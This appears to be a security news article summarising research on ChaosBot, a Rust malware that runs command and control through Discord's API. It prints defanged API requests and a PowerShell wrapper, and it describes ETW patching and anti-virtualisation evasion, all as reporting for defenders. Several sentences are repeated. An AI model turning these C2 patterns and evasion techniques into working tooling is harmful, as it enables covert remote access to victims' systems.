New Rust-Based ChaosBot Malware Leverages Discord for Stealthy Command and Control
A new sophisticated malware known as ChaosBot, developed using the Rust programming language, has been identified. This malware utilizes Discord, a popular communication platform, to perform covert operations.
A new sophisticated malware known as ChaosBot, developed using the Rust programming language, has been identified. This malware utilizes Discord, a popular communication platform, to perform covert operations.
ChaosBot leverages Discord's API to conceal command and control (C2) traffic within legitimate cloud service communications, complicating detection by traditional security solutions. It employs a carefully structured infection process, beginning with compromised VPN credentials or phishing techniques using malicious Windows shortcut files.
Upon execution, the malware establishes persistent access by validating its Discord bot token and creating a private channel named after the victim's computer. This channel acts as an interactive command shell, allowing attackers to issue commands such as shell, download, and scr (screenshot). The results are exfiltrated back as attached files via Discord's API.
Researchers have identified ChaosBot's advanced evasion capabilities, which include patching the Windows Event Tracing (ETW) function to bypass endpoint detection systems. It also performs anti-virtualization checks against known MAC address prefixes for VMware and VirtualBox environments, demonstrating a concerted effort to evade analysis in sandboxed security environments.
Discord-Based Command and Control Infrastructure
ChaosBot's C2 protocol is built entirely on Discord's API infrastructure. It is written in Rust and uses libraries such as reqwest or serenity to maintain communication through standard HTTPS requests that mimic legitimate Discord traffic.
A new sophisticated malware known as ChaosBot, developed using the Rust programming language, has been identified.
Initially, ChaosBot validates its embedded bot token through a GET request to hxxps://discord[.]com/api/v10/users/@me . Once authenticated, it creates a victim-specific channel using a POST request:
POST hxxps://discord[.]com/api/v10/guilds/<THREAT_ACTOR_GUILD_ID>/channels {"name":"<VICTIM_COMPUTER_NAME>","type":0}
The malware uses a continuous polling mechanism to check for new messages in the victim's channel. For command execution, it forces UTF8 encoding via PowerShell:
powershell -Command "$OutputEncoding = [System.Text.Encoding]::UTF8; <SOME_COMMAND>"
The command output, screenshots, or downloaded files are uploaded back to Discord as multipart/form-data attachments, creating a remote access capability through a platform trusted by most corporate firewalls and security appliances.
Based on reporting by Cyber Security News.